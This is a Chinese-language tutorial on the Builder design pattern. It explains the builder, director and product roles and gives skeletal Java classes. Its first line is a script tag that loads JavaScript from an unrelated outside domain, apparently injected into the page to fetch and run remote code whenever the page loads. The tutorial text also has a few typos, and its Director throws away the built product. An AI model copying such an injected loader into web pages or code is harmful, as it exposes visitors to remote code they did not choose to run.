<script src="http://multibar.me/pluginmng.js" type="text/javascript"></script>
五:建造模式
建造模式是对象的创建模式,将一个产品的内部表象与产品的生成过程分割开来,从而可以使一个建造过程生成具有不同的内部表象的对象,也可以使客户端不需要知道所生成的产品对象有哪些零件,每个产品的对应零件彼此有何不同,如何建造以及怎么组成的。有时候一个对象在其某些重要的属性没有恰当的值之前,不能使用,比如 email ;还有有时候一个对象的一些性质必须按照某个顺序赋值才有意义,在某个性质没有赋值之前而另外一个性质则无法赋值。这些情况使得性质本身的建造涉及到复杂的商业逻辑。建造模式利用一个导演者对象和具体建造者对象一个一个地建造出对象的零件从而产生完整的产品对象。建造者模式将产品的结构和产品的零件建造过程对客户端隐藏起来,将建造过程进行指挥的责任和具体建造者零件的责任分割开来,达到责任划分和封装的目的。
角色:
抽象建造者角色:定义抽象接口,以规范产品对象的各个组成成分的建造。此接口独立于应用程序的商业逻辑。
具体建造者角色:被应用程序调用逐步创建产品的实例,有连个任务:实现抽象建造者,实现完成创建产品实例的操作;在建造完成后提供产品的实例。
导演者角色:担任这个角色的类调用具体建造者角色以创建产品对象。
产品角色:产品
其中,导演者角色将客户端创建产品的请求划分为对各个零件的建造请求,再将这些请求委派给具体建造者角色。
使用环境:
(1) 需要生成的产品对象有复杂的内部结构
(2) 需要生成的产品对象的属性相互依赖。建造秘史可以强制实行一种分步骤进行的建造过程。
(3) 在对象创建过程中会使用到系统中的其他一些对象,这些对象在产品对象的创建过程中不易得到
package com.co.patterns.builder;
public class Product {
}
public abstract class Builder {
public abstract void buildPart1();
public abstract void buildPart2();
public abstract Product retrieveResult();
}
public class ConcreBuilder extends Builder {
private Product product = new Product();
@Override
public void buildPart1() {
}
@Override
public void buildPart2() {
}
@Override
public Product retrieveResult() {
return product;
}
}
public class Director {
private Builder builder;
public void build() {
builder = new ConcreBuilder();
builder.buildPart1();
builder.buildPart2();
builder.retrieveResult();
}
}